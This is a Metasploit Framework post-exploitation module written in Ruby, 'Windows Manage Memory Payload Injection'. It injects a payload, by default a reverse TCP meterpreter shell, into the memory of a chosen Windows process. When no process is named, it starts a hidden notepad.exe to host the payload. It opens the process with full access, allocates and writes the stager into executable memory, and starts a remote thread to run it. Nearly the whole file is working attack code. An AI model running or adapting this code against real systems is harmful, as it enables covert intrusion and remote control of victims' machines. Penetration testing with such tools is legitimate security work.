## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection', 'Description' => %q{ This module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez ', 'sinn3r' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Oct 12 2011" )) register_options( [ OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']), OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false]) ], self.class) end # Run Method for when run command is issued def exploit @payload_name = datastore['PAYLOAD'] @payload_arch = framework.payloads.create(@payload_name).arch # syinfo is only on meterpreter sessions print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? pid = get_pid if not pid print_error("Unable to get a proper PID") return end if @payload_arch.first =~ /64/ and client.platform =~ /x86/ print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") print_error("Migrate to an x64 process and try again.") return false else inject_into_pid(pid) end end # Figures out which PID to inject to def get_pid pid = datastore['PID'] if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid) print_status("Launching notepad.exe...") pid = create_temp_proc end return pid end # Determines if a PID actually exists def has_pid?(pid) procs = [] begin procs = client.sys.process.processes rescue Rex::Post::Meterpreter::RequestError print_error("Unable to enumerate processes") return false end pids = [] procs.each do |p| found_pid = p['pid'] return true if found_pid == pid end print_error("PID #{pid.to_s} does not actually exist.") return false end # Checks the Architeture of a Payload and PID are compatible # Returns true if they are false if they are not def arch_check(pid) # get the pid arch client.sys.process.processes.each do |p| # Check Payload Arch if pid == p["pid"] vprint_status("Process found checking Architecture") if @payload_arch.first == p['arch'] vprint_good("Process is the same architecture as the payload") return true else print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.") return false end end end end # Creates a temp notepad.exe to inject payload in to given the payload # Returns process PID def create_temp_proc() windir = client.fs.file.expand_path("%windir%") # Select path of executable to run depending the architecture if @payload_arch.first== "x86" and client.platform =~ /x86/ cmd = "#{windir}\\System32\\notepad.exe" elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/ cmd = "#{windir}\\System32\\notepad.exe" elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/ cmd = "#{windir}\\Sysnative\\notepad.exe" elsif @payload_arch.first == "x86" and client.platform =~ /x64/ cmd = "#{windir}\\SysWOW64\\notepad.exe" end begin proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) rescue Rex::Post::Meterpreter::RequestError return nil end return proc.pid end def inject_into_pid(pid) vprint_status("Performing Architecture Check") return if not arch_check(pid) begin print_status("Preparing '#{@payload_name}' for PID #{pid}") raw = payload.generate print_status("Opening process #{pid.to_s}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) if not host_process print_error("Unable to open #{pid.to_s}") return end print_status("Allocating memory in procees #{pid}") mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) # Ensure memory is set for execution host_process.memory.protect(mem) print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") print_status("Writing the stager into memory...") host_process.memory.write(mem, raw) host_process.thread.create(mem, 0) print_good("Successfully injected payload in to process: #{pid}") rescue Rex::Post::Meterpreter::RequestError => e print_error("Unable to inject payload:") print_line(e.to_s) end end end